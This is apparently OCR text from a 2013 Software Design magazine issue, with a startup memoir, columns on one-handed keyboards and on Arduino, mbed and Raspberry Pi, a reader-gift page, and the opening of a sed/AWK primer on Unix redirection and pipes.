非常に歴史と重みのある設計思想でした。とく
にCore Animationに代表されるトランジショ
ンやアニメーションの美しさを実現する技術、
フォントの美しさは比較できるものがありませ
んでした。
　生半可なやり方では、少なくとも完成度の面
でAppleに対抗することはできない。対抗でき
るOSは、当時まだβ版しかなかったAndroid
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も含めて地球上には存在しない、というのが僕
たちの結論でした。
　しかしそれを報告すると、クライアント企業
の担当者はどなたも哀しそうな顔をして僕に言
うのです。
 「そうは言ってもね、現実にはOSをゼロから
作る時間もリソースもないんですよ」
　多くのクライアント企業はAndroidかWindows

を採用することに決め、僕たちの報告書は有名
無実のものとなってしまいました。

戦略情報グループ

　iPhone向けの情報収集をするため、僕は社
内で早急に海外の情報を集積する必要があると
感じました。また同時に、一方ではビジネスと
して、iPhone向けアプリケーション市場で売
上げを拡大することにも興味がありました。国
内ではまだ苦戦していた iPhoneのアプリケー
ション市場で売上げを上げるには、北米向けの
マーケティングが必須です。そのためには、活
きた情報が必要になります。

　そこで英語圏の人間が普段どのようなニュー
スに触れていて、どのような考え方をしている
のかを調べ、そして必要に応じて英語を日本語
に、日本語を英語に翻訳する専門の部署を設立
することに決めたのです。僕はこの部署を「戦
略情報グループ（SIG）」と名付けました。
　SIGに従事するのは専任の社員ではなく、大
学生のアルバイトを多数採用しました。そのほ
うが多様性のある情報を入手できる可能性が高
まると考えたのです。午前と午後で1人ずつで
週1日ずつ、計20人程度のアルバイトが入れ
代わり立ち代わり、海外の日常的なニュースを
ひたすら翻訳することを続けました。
　その一人が、辻秀美でした。
　UEIが課すあらゆる試験において、辻は飛び
抜けていました。彼女の翻訳はピカイチで、し
かもとてもおもしろいものでした。一方の辻本
人は無口で内気だったため、他の同僚とは会話
らしい会話もしませんでした。
　ところが着任からわずか数ヵ月で、辻は英国
へ留学してしまいます。折しも、iPhoneが日
本国内でも発売され、App Storeがスタート。
世界はこの革命に熱狂していました。
　いち早く海外でのアプリの動向を探りたいと
考えた僕は、急ぎパリで開催されるAppleExpo

への単独出展を決意したのですが、初の海外出
展、かつ英語が使える人材不足でどうしても人
手が足りません。そのときふと気がつきました。
 「ヨーロッパには辻さんが居るじゃないか」と。
　日本にいるときとは打って変わって雄弁な辻
の助けでパリのイベントへの出展は無事に終わ
り、さらに半年後、今度はAppleのお膝元、サ
ンフランシスコのMacworld Expoにも出展す
ることになります。このときは辻を再び英国か
ら呼び寄せました。

Whiteboard in your pocket

　僕たちが売り出していたのは、「Zeptopad」
という名前のメモアプリでした。当時のメモア
プリとしては珍しく、2本の指で自由に拡大、

Jailbreakされた iPod touchで近藤誠が作ったマルチプレ
イヤー対応のピンポンゲーム
http://www.youtube.com/watch?v=3LdpmxHE7VU

試作したマル
チタッチディ
スプレイ

http://www.youtube.com/watch?v=3LdpmxHE7VU
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回転、縮小、そしてスクロールができました。
全体を俯瞰したり、細部を拡大したりしながら、
1つの大きな仮想の模造紙を扱う感覚です。
　このアプリケーション、最初は一言で説明す
るのがとても難しい商品でした。立ち止まって
くれたお客さんにあれこれ説明しても、いまい
ちしっくりきません。すると一人のお客さんが、
「これはつまり、ホワイトボードみたいなアプ
リってことかな？」と興味を示してくれました。
なるほど、ホワイトボードか！
　ほどなくして、辻がどこからか小さめのホワ
イトボードを手に入れてきました。それから意
を決したように頷

うなず

くと、ブースに立ち、通行人
に向かって語りかけました。
 「みんな、ホワイトボードは好きかな？」
　大好き！、と声が返って来ました。通行人が
足を止めます。
 「いくら大好きなホワイトボードでも、ポケッ
トには入らないよね？」
　そう言って、ジーンズのポケットにホワイト
ボードをねじ込もうとします。観客からは笑い声。
 「でも大丈夫。このソフトがあれば、いつでも
大好きなホワイトボードと一緒よ」
　“Whiteboard in your pocket”というキャッチ
コピーがうまれた瞬間でした。
　このキャッチコピーのおかげかどうかはわか
りませんが、このアプリ、Zeptopadは北米で
とても売れました。

辻の選択

　それからしばらくして、留学を終えた辻は東
京に戻ってきました。戻るとすぐにUEIでの
アルバイト生活に復帰したのです。以前のよう
に働き始めた辻でしたが、1つだけ変化があり
ました。それは内気な彼女が仲間と打ち解け、
冗談を交わすようになったことです。
　そんなある日、辻が僕に折り入って相談があ
ると言ってきました。そんなことはこれまで一
度もなかったので、僕も背筋を伸ばして話を聞
いてみました。

　曰く、かねてからの夢だった高校教師の口を
教授から紹介された。しかし当面は非常勤講師
なので、できれば勤務のない日はこのアルバイ
トを続けさせてもらいたい、と。
 「そうか、それはよかったね」̶ ̶もちろん構
わないよ、と口から出かけた言葉を僕はグッと
飲み込みます。
　本当に構わないのだろうか。彼女は高校教師
になって、我々はパートタイムの仕事を頼んで、
二足のわらじで、それが彼女の人生にとって何
か意味があるのだろうか。
 「両方はダメだ。どちらか選んでくれ」
　僕は続けました。
 「どんな名教師でも、教えることができる人間
はせいぜい、年に300人、教師生活を30年続
けても、たった9,000人の人生に影響を与える
だけだ。だがもし君が、本気でソフトウェアの
世界に進むなら、影響を与えることのできる相
手はその数百、数千倍になる。教師生活では絶
対に見ることのできない景色を、僕たちなら君
に見せることができる」
　うちで働くなら正式に働かないか、というオ
ファーです。
　このとき、そもそも一度は承諾した教師の内
定を内気な彼女が断れるとは思っていませんで
した。けれども彼女には相応の能力と素質があ
り、手放すには惜しい人材でした。
　彼女が教職の内定を断ってきた、と報告に来
たのは、それから数日後でした。ﾟ

ホワイトボードをジーンズのポケットに入れてサンフラン
シスコの路上で製品をアピールする辻



10 - Software Design

はじめに

　前回はキーのないキーボードであ

るorbiTouchを紹介しました。今回

は特殊なキーボードつながりで片手

で扱えるキーボードであるTwiddler

とMatias Half Keyboardを紹介し

ます。これらは特殊な形状こそして

いますが、特別なドライバソフトウェ

アを必要とせず、OSからは普通の英

語キーボードとして認識されます。

Twiddler 2.1

　Twiddler 2.1は、Tek Gear,Incが

販売している片手用キーボードです。

特徴

　次の特徴があります。

・右手、左手どちらでも使える
・マウスの機能を有する
・プログラマブルである

　付属のベルトを利用して手に固定

して使います（写真1）。このベルト

は取り外し可能で、右手用、左手用

に切り替えられます。文字入力も難

しくありません。前面に横3×縦4

の計12個のボタンがあり（写真2）、

それらを組み合わせて入力します。

何も組み合わせずにボタンを押す

と、そのボタンに印字された文字が

入力できます。ボタンを組み合わせ

る場合は、一番上の段のボタンいず

れかを押しながら、下3段のボタン

を押して離します。一番上の段のボ

タンにはそれぞれ赤、青、緑と色が

割り当てられており、下3段のボタ

ンの横にはそれぞれ色ごとに入力さ

れる文字が印字されています。たと

えば、A（緑）を押しながらBを押

すと、.が入力できます。

　lやm、¡のような修

飾キーは、背面に個別にボタンが用

意されています（写真3）。

　Twiddlerにはマウスの機能もあ

ります。ポインティングスティック

が背面にあり、それを動かしてマウ

スカーソルを移動させます。このス

ティックを動かしたり、押したりす

るとマウスモードに入ります。マウ

スモードでは、前面の一番上の段の

ボタンがマウスの右クリック、中ク

リック、左クリックを担います。マ

ウススクロール機能はありません。

　Twiddlerはプログラマブル機能

を有しており、キーマップやマウス

カーソルの加速度などを自由に設定

できます。プログラマブル機能は少

し特殊です。何かボタンを押しなが

らPCに接続すると、Twiddlerが

USBストレージとしてPCから見

えるようになります。そのストレー

ジの中に、専用の設定ツールを用い

て作成した設定ファイルを置くこと

でキーマップなどを変更できます

コレクターが独断で選ぶ！

Twiddler & 
Matias Half Keyboard

片手で入力できる

偏愛キーボード図鑑

第5回

写真2　Twiddler 2.1 前面のボタン

写真1　Twiddler 2.1

写真3　Twiddler 2.1（背面）

株式会社 創夢
濱野 聖人HAMANO Kiyoto
khiker.mail@gmail.com
Twitter：@khiker
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vol.5 Twiddler & Matias Half Keyboard

（図1）注1。

　また、設定ツール同様にキー操作

学習用のツールも配布されています

（図2）。これらのツールはJava製

のため動作環境を選びません注2。

　なお、TwiddlerのTwitterアカ

ウント（@Handykey）を見ていた

ら、Twiddler 3も計画されている

ことがわかりました。Twiddler 3

はBluetoothによる無線バージョ

ンとなるようです。

入手方法

　TwiddlerのサイトからOrder Now

をクリックすると販売サイト注3に飛

べます。値段は199ドルです。サ

イトの説明によると、日本にも郵送

してもらえるようです。筆者は輸入

代行業者を通じて購入しました。日

本代理店は存在しないようです。

Matias Half 
Keyboard

　Matias Half Keyboardは、Matias

社が販売している片手キーボードで

す（写真4）。

特徴

　コンパクトな片手用キーボード

で、次の特徴があります。

・Qwertyキーボードを半分に
したような形状

・dとの組み合わせで入
力する

　普通のQwertyキーボードが左半

分だけになったような形状をしてい

ます。キー入力は、基本的にd

との組み合わせで行います。d

を押さずにそのままキーを入力する

と、そのキーに印字された文字が入

力できます。dを押しながら入

力すると普通のQwertyキーボード

の右側の文字が入力できます。

　また、右上にキーボードモードを

切り替えるキー「A-Z」があり、これ

を複数回押すことでモードが切り替

わります。1度押すと通常のキー入

力モードとなります。2度押すと数

字入力モード。3度押すと

yåzçを入力するカーソル

キー入力モード。4度押すとファ

ンクションキー入力モードとな

ります。記号を入力する場合、

¡を2度押すとキーに印字

された記号が入力できるように

なります。http://www.matias.

ca/halfkeyboard/demo/に入

力のデモが用意されています。

　記号やファンクションキーなど

は入力しづらくなっていますが、

アルファベットのようなよく使う

文字の入力だけであれば、簡単に

行えます。

入手方法

　Matias社のサイト注4で販売し

ています。支払いにはクレジット

カードが使え、日本へも発送してく

れます。値段は595ドルと相当高

いです。eBayのようなオークショ

ンサイトに稀に出品されています。

オークションでの値段はまちまちで

すが、300ドル前後です。

◆　◆　◆

　片手用キーボードは意外と種類が

あり、ほかにもいくつか製品があり

ます。たとえばFrogPadやMaltron

の片手キーボードが有名です。とく

にFrogPadは、USBだけでなく

Bluetoothバージョンも存在し、一

部で大きな人気があります。現在、

FrogPadの新品は販売されていま

せんが、FrogPad2のPre-Order

が行われています注5。興味のある方

はFrogPadのサイト注6を覗いてみ

ると良いでしょう。s

注1） 設定ツールはhttp://handykey.com/support.htmlからダウンロードできます。
注2） Linuxでももちろん動作します。
注3） http://www.handykey.com
注4） http://www.matias.ca/halfkeyboard/
注5） 1年以上前からPre-Orderをしているので、長く待つ覚悟は必要です。
注6） http://www.frogpad.com/ 写真4　Matias Half Keyboard

図1　Twiddler 2.1の設定ツール

図2　Twiddler 2.1の練習ツール

http://www.matias.ca/halfkeyboard/demo/
http://www.matias.ca/halfkeyboard/demo/
http://handykey.com/support.html
http://handykey.com
http://www.matias.ca/halfkeyboard/
http://www.frogpad.com/
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text：坪井 義浩　TSUBOI Yoshihiro　ytsuboi@gmail.com　　　@ytsuboi
協力：㈱スイッチサイエンス　http://www.switch-science.com/

はんだづけカフェなう 
第 35 回

秋葉原発！

　 最 近、 複 数 の 人 にArduinoとmbedと
Raspberry Piの違いについて聞かれる機会が
数度ありました。Arduino、Netduino、mbedと
いったマイコンボードの紹介などをしつつ始
まったこの連載ですが、当時とは少し状況も変
わってきているのでもう一度おさらいしてみま
しょう。
　ちょっと乱暴ですが、今出回っているマイコ
ンボードを3つのセグメントに分けて紹介しま
す。❶8ビットマイコンのボード、❷32ビッ
トマイコンのボード、❸Unixの動くボードで
す。これらのセグメントとそれに属するマイコ
ンについて、順に紹介しましょう。

　まず最初に“❶8ビットマイコンのボード”か
ら紹介します。8ビットマイコンのボードとい
えば、まず最も有名であろうArduino注1（写真
1）が挙げられるでしょう。Arduinoは、8ビッ
トプロセッサであるAtmel社のAVRシリーズ
を搭載しています。当然のことですが、
Arduinoが登場するよりも前からマイコンボー
ドというのはたくさん存在していたのですが、
Massimo Banzi氏がデザインとテクノロジを融
合させたインタラクションデザインというもの
を教え始めたときに簡単にプロトタイピングで
きるツールがなかったために自分で作ったこと
から始まったものです。

注1） http://www.arduino.cc/

 ▼写真1　Arduinoに液晶を接続してみた例

　Arduinoの特徴は、これまでマイコンボード
を使って何かを作っていなかった人々にマイコ
ンボードを届けたことです。
　Arduinoの開発は、専用の開発環境を使って
行います。このIDEも“Arduino”と呼ばれてい
てややこしいので、本連載では“Arduino IDE”
と呼んだりしてきました。Arduino IDEは、
Windows、Mac、Linuxで動くバイナリが公式
で配布されており、オープンソースなソフト
ウェアです。Arduino IDEのコンパイラはavr-

gccが使われており、ユーザインターフェース
部分はJavaで書かれています。gccによってビ
ルドされたバイナリは、UART（いわゆるシリ
アル）でパソコンからボードに転送されます。
　Arduinoを使う最も大きなメリットは、その
コミュニティの大きさです。本誌読者はコー
ディングにあまり心配はないでしょうが、多く
の人はハードウェアに馴染みがないでしょう。
そういった人々がマイコンボードでモーターを
回したいと思ったとき、Webの検索で最も情報

Arduino

プロトタイピングツールの違い

http://www.switch-science.com/
http://www.arduino.cc/
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 ▼写真2　mbedでHTTP通信して液晶に表示した例

最近mbed 2.0となって少し状況が変わりつつ
ありますが、CPUの設計図を半導体メーカーに
売っているARM社が進めているプロジェクト
です。Chris Styles氏がARM社で働き始める前
に「学生がマイコンを使えるようにする方法」を
模索していたのが始まりです。その後Chrisは
ARM社で働き始め、社内で協力者を見つける
ことに成功し、mbedを完成させました。
　mbedの特徴は、なんといってもWebブラウ
ザで開発ができることです。ビルドしたバイナ
リは、パソコンからはUSB Flashに見える
mbedにドラッグ&ドロップするだけで書き込
むことができます。このWebサービス（一般的
にはオンラインコンパイラと呼ばれています）。
では、RVDS 4.1というたいへん効率の良いバ
イナリを作ることができる高価なコンパイラが
使われており、ARM用のgccでビルドするより
サイズが小さく、実行速度も優れたバイナリを
得ることができます。
　mbedのWebサイトには、SNS的なユーザコ
ミュニティサイト機能が統合されており、ほか
の人が書いたコードやライブラリを自分のIDE

に簡単にインポートできます。また、オンライ
ンコンパイラにはバージョン管理機能もついて
います。自分が書いたコードをコミュニティサ
イト機能で公開すると、ほかのユーザがコラボ
レートしてくれたりといったことも起こりえま
す。このコミュニティの残念な点を述べると、

を集めやすいのがArduinoです。日本語の情報
も多いので、英語を読むのが面倒な方にも優し
いです。また、書籍の類も最も多く存在する
ボードです。
　逆にArduinoのデメリットは、8ビットであ
ることです。やはり少し古めな8ビットアーキ
テクチャですので、メモリの少なさなどもあ
り、TCP/IPをそのまま扱うことができません
し、USBホストなどもArduinoではシールドと
呼ばれる拡張基板を使って実現することになり
ます。たいていのしたいことはカバーできます
が、ちょっと今どきのEthernetやUSBホスト
などをしようとするとArduinoの非力さを感じ
ることもあります。一方で、ちょっとしたもの
を作るくらいであれば、8ビットマイコンの処
理能力でも十分であるということも事実です。
　また、Arduino文化は入出力の信号電圧5Vが
主流です。最近のセンサの類は3.3Vのものが多
いので、Arduinoにセンサをつなげようとすると
3.3Vへの変換が必要になって、たまにちょっと
面倒な思いをすることもあります。同様に
Arduino IDEにはデバッガ機能がありませんの
で、デバッグはprintfするなどしてシリアル通
信で文字列を出力させて行うことになります。
　32ビットプロセッサを使い、3.3V入出力の
Arduino DUEも登場していますが、イマイチ
普及が進んでいない現状では、こういったデメ
リットを感じることがしばしばあります。
　ちなみに、同様に8ビットのマイコンで、今
でもユーザが多いものにはマイクロチップ・テ
クノロジ社のPICというシリーズがあります。
PICでできることはたいていAVRでできると
考え、筆者はPICに手を広げていません。

　次に“❷32ビットマイコンのボード”を紹介
していきます。32ビットマイコンで利用者が最
も多いのはmbed注2（写真2）でしょう。mbedは、

注2） http://mbed.org/

mbed

第 プロトタイピングツールの違い

http://mbed.org/
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といった点でしょうか。
　以前紹介したことのあるNetduinoもこの
ジャンルに属します。Netduinoは、Visual 

StudioとC#で開発することができ、デバッガ
も提供されています。ただ、国内ユーザ数を見
るとmbedほど普及してはいないようです。

　最後に“❸Unixの動くボード”の紹介に移り
ましょう。Raspberry Pi注3（写真3）もmbedと同
様の32ビットマイコンを搭載しています。
Raspberry PiとmbedのCPUの大きな違いは、
MMU（メモリ管理ユニット）の有無です。今ど
きのUnixのkernelはMMUが存在することが
前提になっていますので、LinuxはMMUのあ
るRaspberry Piクラスのボードでなければ動
きません（MMUのない環境でも動くLinux実
装もありますが、ここでは話がややこしくなる
ので省きます）。
　Raspberry Piは、ラズベリーパイ財団のEben 

Upton氏がケンブリッジ大学で教鞭を取ってい
たころに、コンピュータサイエンスを志望する
高校生が減ったり、学生の入学時のスキルが下
がってきていると感じ、低価格でプログラミン
グを学ぶ機会にもなるコンピュータを作りたい
と考え、Raspberry Piを作ったそうです。
　Unixが動くとなると、本誌読者の慣れた環

注3） http://www.raspberrypi.org/

おもしろいことをしている日本人も多々見かけ
られるものの、やはり日本語で書かれたドキュ
メントは比較的少数派であるということです。
とはいえ、日本でのmbedユーザのコミュニ
ティは割と活発で、mbed祭りというオフライン
イベントが開催されているのが特徴的です。同
種のArduinoの集まりもあったりしますが、
mbedの場合、ARMやmbedのリードパートナー
であるNXPの日本法人の方がイベントにかか
わってくれていたりもします。
　筆者がmbedを使い始めたきっかけは、マイ
コンを手っ取り早くTCP/IPネットワークに
つなげたかったからです。mbedはArduinoより
も高価ですが、それでもArduinoとEthernet

シールドをそろえるよりは安価で、パワフルで
す。たとえばHTTP通信のために配列を確保
したりするときに、Arduinoだとメモリが小さ
いのがとてもつらくなりますが、mbedだとある
程度の余裕があります。
　mbedの入出力は3.3Vです。Arduinoの部分
でも記しましたが、最近のセンサなどのデバイ
スは3.3Vのものが多くなってきており、こう
いった場合Arduinoよりも周辺部品が少なくて
簡単にデバイスをつなげることができます。
　また、オンラインコンパイラでは実現できて
いませんが、MDK-ARMといったオフライン
ツール（パソコンにインストールする開発環境）
を利用すると、mbedではデバッガを使った開発
をすることが可能になります。ステップ実行や
ブレークポイントの設定などもできますし、レ
ジスタの値も覗くことができます。マイコン開
発に慣れない人は手っ取り早くオンラインコン
パイラを使い、もっと追求したい人はオフライ
ンコンパイラを使ってみるといった選択肢の幅
広さも魅力と言えるでしょう。
　筆者は先述のmbed祭りの手伝いをするくら
いにmbedを気に入っているので、mbedの問題
点があまり思いつきません。あえて挙げるので
あれば、次に紹介するUnixの動くマイコンの
ようにスクリプト言語で手軽に開発ができない

Raspberry Pi

 ▼写真3　Raspberry PiでLED点滅してみた例

http://www.raspberrypi.org/
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まとめ

　筆者がRaspberry Piに感じているデメリッ
トは、基板の大きさ、消費電力の大きさと、互
換機作りの困難さです。しかし、これらはどれ
も電子工作に入門する段階ではあまり問題にな
らないでしょう。

　すごく乱暴で、人それぞれ意見が分かれると
ころですが、筆者がこれらのボードの違いを写
真4、表1にまとめました。
　マイコンでできることには限りがあります。
インターネットに接続してみるとき、ある程度
ハードウェアがわかるのであればRaspberry Pi

が最も開発環境がリッチで便利でしょう。ハー
ドウェアのことがよくわからないならば、
Arduinoあるいはmbedのほうが情報量が多いた
め、作りたいものを作るのには近道になりそう
です。Arduinoとmbedどちらを選ぶかについて
は、マイコンにさせる処理の種類次第だと言え
そうです。文字列処理をしたいならmbedのほ
うが結果的に楽できますが、たいていのことは
Arduinoで実現したことがある人が見つかるの
で楽できるという考え方もあります。
　一方で、ネットワーク接続はいらなく、
ちょっとしたインタラクティブな物を作ってみ
たいということであれば、入手できる情報量の
都合でArduinoが最も簡単だと言えるかもしれ
ません。筆者の場合、デバイスが5Vであれば
Arduinoを使い、3.3Vであればmbedを使って
います。ﾟ

境ですので開発が手軽です。Raspberry Piでは
PythonやRubyを使った開発も、シェルスクリ
プトも、C/C++による開発もできます。Arduino

やmbedのようなI/OもLinuxのデバイスファ
イルを通じて操作をすることができます。イン
タプリタやコンパイラも好きなものを使うこと
ができますし、Unix用に開発されたライブラ
リ、USBやTCP/IPまわりのスタックなども面
倒なことを考えなくても使うことができます。
　Raspberry Piが登場したのは比較的最近で
すので、Raspberry Piにセンサなどのデバイス
を接続するといったハードウェアに関する情報
は少なめです。電子工作初心者には、Rasp 

berry Piを使ったハードウェアというのはここ
まで紹介してきた中で最も難易度が高いと言え
るでしょう。Raspberry Piのユーザグループ注4

も存在し、入門書注5を出していますが、筆者
は日本語でやりとりされているコミュニティサ
イトの存在を知りません。
　Raspberry Piの入出力も3.3Vですので、mbed

と同様にそのまま接続できるデバイスは多いで
す。しかし、これまでの2つのボードと異なり、
アナログ入力がありません。このため、アナロ
グのセンサ（電圧の大きさで検出結果を返すタ
イプ）を使うなど電圧を読み取る必要がある場
合、A/Dコンバーターというデバイスを
Raspberry Piに接続する必要が出てきます。

注4） http://www.raspi.jp/

注5） http://gihyo.jp/book/2013/978-4-7741-5855-6

 ▼写真4　それぞれの基板を並べたところ
Arduino mbed Raspberry Pi

主体 Arduino Team ARM ラズベリーパイ財団
言語 C/C++ C/C++ いろいろ
OS なし なし（RTOS） Linux

開発環境 Arduino IDE クラウド いろいろ
性能 △ ○ ◎
LAN ×（△） ○ ◎

USB Host ×（△） ○ ◎
ハードの情報量 ◎ ○ △
互換機作り ◎ △ ×
参考価格 ¥2,940 ¥5,200 ¥3.300

 ▼表1　何が違うのか

※筆者の独断と偏見です

第 プロトタイピングツールの違い

http://www.raspi.jp/
http://gihyo.jp/book/2013/978-4-7741-5855-6
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Present   読者プレゼントのお知らせ
『Software Design』をご愛読いただき
ありがとうございます。本誌サイト
http://sd.gihyo.jp/の「読者アンケー
トと資料請求」からアクセスし、アン
ケートにご協力ください。ご希望のプ
レゼント番号をご入力いただいた方に
は抽選でプレゼントを差し上げます。
締め切りは 2013 年 9 月 17 日です。
プレゼントの発送まで日数がかかる場
合がありますが、ご了承ください。

ご記入いただいた個人情報は、プレゼントの抽選および
発送以外の目的で使用することはありません。アンケー
トのご回答については誌面作りのために集計いたします
が、それ以外の目的ではいっさい使用いたしません。ご
入力いただいた個人情報は、作業終了後に当社が責任を
持って破棄いたします。なお掲載したプレゼントはモニ
ター製品として提供になる場合があり、当選者には簡単
なレポートをお願いしております（詳細は当選者に直接
ご連絡いたします）。

裸族の頭 
USB3.0 
SATA6G
2.5 または 3.5 インチの内蔵用 HDD/SSD をケースに入れず裸（む
き出し）のまま手軽に使用できる変換アダプタ。HDD/SSD は
SATA/IDE で接続し、PC には USB 2.0/3.0 で接続します。対応
OS は Windows 8/7/Vista/XP、Mac OS 10.5 〜。
 提供元  センチュリー　 URL  http://www.century.co.jp

プログラミング言語 
AWK
A.V. エイホ、P.J. ワインバーガー、B.W. カーニハン　著、
足立 高徳　訳／ A5 判、320 ページ／
ISBN ＝ 978-4-904807-00-2

1989 年に初めての邦訳が刊行され、その後何回か絶版になったも
のが USP 研究所より復刊。AWK の開発者たちによる多種多様な例
題を豊富に収録した解説書です。
 提供元  ユニバーサル・シェル・プログラミング研究所  URL  http://www.usp-lab.com

Android エンジニア 
養成読本 Vol.2
Software Design 編集部　編
B5 判、176 ページ／
ISBN ＝ 978-4-7741-5888-4

本誌の人気記事の中から、Android アプリケーションの開発ノウハ
ウやADK/ADBの基礎などをオムニバス形式で1冊にまとめました。
書き下ろし記事では開発環境やツールの使い方を詳しく紹介します。
 提供元  技術評論社　 URL  http://gihyo.jp

データサイエンティスト 
養成読本
データサイエンティスト養成読本編集部　編／
B5 判、152 ページ／
ISBN ＝ 978-4-7741-5896-9

データサイエンスの基本となる考え方、R 言語によるデータ分析の
基礎、大規模データマイニング事例などデータサイエンティストが
おさえておきたい知識を解説します。
 提供元  技術評論社　 URL  http://gihyo.jp

Raspberry Pi 
［実用］入門

Japanese Raspberry Pi Users Group　著
B5 変形判、256 ページ／
ISBN ＝ 978-4-7741-5855-6

Raspberry Pi の購入方法、起動／カスタマイズなどの基本操作、ソ
フトウェア応用編として複数台による Web サーバ構築、ハードウェ
ア応用編として喋る温度計製作、農作業用ロボット製作などを解説。
 提供元  技術評論社　 URL  http://gihyo.jp

フルーク・ネットワークス 
ケーブルテスター 
T シャツ
フルーク・ネットワークスの Interop Tokyo 2013 の展示会スタッ
フや SHOW NET スタッフが着ていたのと同じ現場感覚溢れる T
シャツです。図柄は前面がケーブルテスター「DSX-5000」、後面は
ケーブルテスターのキャラクター。サイズは L サイズです。
 提供元  フルーク・ネットワークス　 URL  www.flukenetworks.com/jp

オーバーヘッドフォン 
KOTORI201

1 名

1 名

2 名

5 名

2 名

2 名 2 名

16 種類のパーツの色を自由に選択し
て、自分だけのデザインにカスタマイ
ズできる高音質、高解像度オーバー
ヘッドフォン。可能な色の組み合わせ
は、なんと 21 兆 8700 億パターン。
KOTORI の Web サイト上で、会計無
料で自由にカスタマイズし、注文でき
るギフトコードをプレゼントします。
 提供元  FOSTEX/KOTORI
 URL  http://kotori.fostex.jp

http://sd.gihyo.jp/
http://kotori.fostex.jp
http://www.century.co.jp
http://www.flukenetworks.com/jp
http://www.usp-lab.com
http://gihyo.jp
http://gihyo.jp
http://gihyo.jp
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今からはじめる
sed/AWK再入門

ワ ン ラ イ ナ ー ス ク リ プ テ ィン グVS.

UNIXエンジニアのたしなみ

sedとAWKは、昔からUNIX/Linuxエンジニアの間で愛用されているツールです。文法が単純で
習得しやすく、端末から即座に使えて便利。ほかのUNIXコマンドと組み合わせれば応用範囲は
限りなく広い。sed/AWKに触れたことがないという人も、昔は使っていたけれど最近はご無沙
汰という人も、この機会にマスターしてUNIX/Linuxでの作業効率を高めましょう。
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  Writer    鶴長 鎮一
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　1960年代後半、当時としては高機能な（その
分複雑になってしまいましたが）「Multics」とい
う実験的なOSのプロジェクトがありました。
実質的には失敗してしまいましたが、そのプロ
ジェクトの状況を横目に見ながらシンプルさと
単純さを身上として産まれたOSがありました。
そのOSは当初、複雑な「Multics」に対して
「Unics」（後にUNIXに改称）と呼ばれました。
　その名前が示すようにOSそのものの作りも
非常にシンプルでしたが、付属するユーティリ
ティ群も単機能でシンプルな作りとなっていま
した。とくに初期の利用者はほとんどがプログ
ラマやコンピュータの研究者でしたので、利用
者たちは自分たちの求める結果を得るために単
機能のコマンドを組み合わせながら利用するこ
とを苦にしていませんでした。このように複数
のコマンドを組み合わせて利用するためにOS

の設計当初からあった標準入出力という考え方
を発展させていき、コマンドを組み合わせる手
段としてパイプというしくみが考え出されまし
た。

標準入出力

　標準入出力とは初期のころからUNIXの設計
に取り込まれている入出力チャネルで、プログ
ラムが実行される際にOSが入力、出力、エラー

UNIXの基本
出力のデバイスをそれぞれ自動的に割り当てる
しくみです。
　UNIX以前のコンピュータシステムではプロ
グラムが入出力装置を利用する場合には、JCL

などを利用して入出力装置をプログラムに割り
当てる必要があったので、とても面倒で不便で
した。ところがUNIXでは、多くのプログラム
が利用するであろう入出力装置をあらかじめ
OS側で割り当てておくことにより、利用者も
プログラムも何一つ特別な操作をすることなく
入出力装置を利用できるようにしました。
　OSはプログラムを起動するときにスタート
アップルーチンと呼ばれる共通の開始時初期化
処理を実行しますが、その処理の中で標準入出
力を利用できるように準備しています。標準の
状態では入力装置（標準入力）はキーボード、出
力装置（標準出力）およびエラー出力装置（標準
エラー出力）は端末に割り当てられています。

シェルとリダイレクト

　UNIXでは通常、カーネルとユーザのインター
フェースはシェルと呼ばれるプログラムが提供
しています。UNIXシステムにログインすると
ログインシェルとして指定されたシェルが実行
され、端末にプロンプトを表示してユーザから
の入力を待ちます。ユーザがコマンドを入力す
ると、入力されたコマンド文字列を解釈し、プ
ロセスを生成しコマンドを実行した結果を画面
に表示します。シェルはそのような重要な役割

sedとAWKを本格的に学ぶ前に、本章ではまずUNIXにおけるテキストデータの扱い方について解説します。
これがわかれば、「今時、なぜsedやAWKを学ぶ必要があるのか」という問いに対する答えも見えてくるでしょう。

超入門sedとAWK
  Writer    今泉 光之（いまいずみ みつゆき）

UNIXのテキスト処理の基本から始める
第1章
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UNIXのテキスト処理の基本から始める
超入門sedとAWK

第1章

を担っています。
　シェル上で実行するプログラムも標準入出力
を利用できますが、シェル上でリダイレクトと
いう機能を使えば、標準入出力を簡単に変更で
きます。たとえば>という記号を使うと、シェ
ルに標準出力の出力先の変更を指示できます。
標準の状態では標準出力は端末に割り当てられ
ていますので、コマンドの実行結果は端末に表
示されますが、出力先をファイルにリダイレク
トすることで実行結果をファイルに格納できま
す（図1）。出力先のファイルがすでに存在する
場合、ファイルの既存の内容はすべて削除され、
新しい内容で上書きされます。
　>>という記号を使うと、標準出力の出力先
の変更を指示すると同時に、（出力先のファイ
ルがすでに存在する場合に）既存のファイルに
追記するように指示できます（図2）。
　同様に<という記号を使うことで標準入力の

入力元を変更できます。標準入力からデー
タを受け取るコマンドは、通常キーボード
から入力を受け付けますが、入力元をファ
イルにリダイレクトすると、データはファ
イルから読み込まれます（図3）。
　リダイレクトは入力と出力を同時に指定

することもできます。その場合、コマンドの入
力も出力もファイルなどに割り当てられます（図
4）。
　ちなみに入力元と出力先に同じファイルを指
定することもできますが、このコマンドを実行
した場合、たぶん望んでいる結果にはならない
と思います。このコマンドは入力ファイル（＝
出力ファイル）を空のファイルにしてしまいま
すので要注意です（図5）。

パイプとストリーム

　パイプとは標準入出力の考え方をさらに発展
させた考え方で、あるコマンドの標準出力を直
接次のコマンドの入力として利用するために一
方通行のデータの流れを提供するしくみです。
　標準的なシェルでは¦記号でパイプを表すこ
と が 一 般 的 で す。た と え ば commandA ¦ 
commandBと書いた場合はcommandAの標準出

図1　リダイレクトで出力先をファイルに変更 ▼

$ ls
$       ←ファイルが存在しないので何も表示されない 
$ echo "foo"   ←標準出力に出力 
foo            ←端末に表示される 
$ echo "foo" > file   ←ファイルにリダイレクト 
$ ls
file            ←ファイルができている 
$ cat file      ←ファイルの内容を表示 
foo

図2　リダイレクトでファイルに追記する ▼

$ ls
file
$ cat file   ←ファイルの内容を表示 
foo
$ echo "bar" >> file  ←ファイルにリダイレクトで追記 
$ ls
file
$ cat file   ←ファイルの内容を表示 
foo
bar

図3　リダイレクトでファイルから読み込み▼

$ cat   ←引数なしのcatは標準入力から入力されたデータを
       標準出力に出力する 
foo   ←foo＋©を入力 
foo   ←fooが出力される 
bar   ←bar＋©を入力 
bar   ←barが出力される 
 l＋D（入力の終了を表す）を入力 

$ cat < file   ←catの標準入力をfileに割り当て 
foo   ←図2で作ったfileの内容が出力される 
bar

図4　リダイレクトで入出力を同時に指定 ▼

$ cat < file > output   ←入出力を同時に指定 
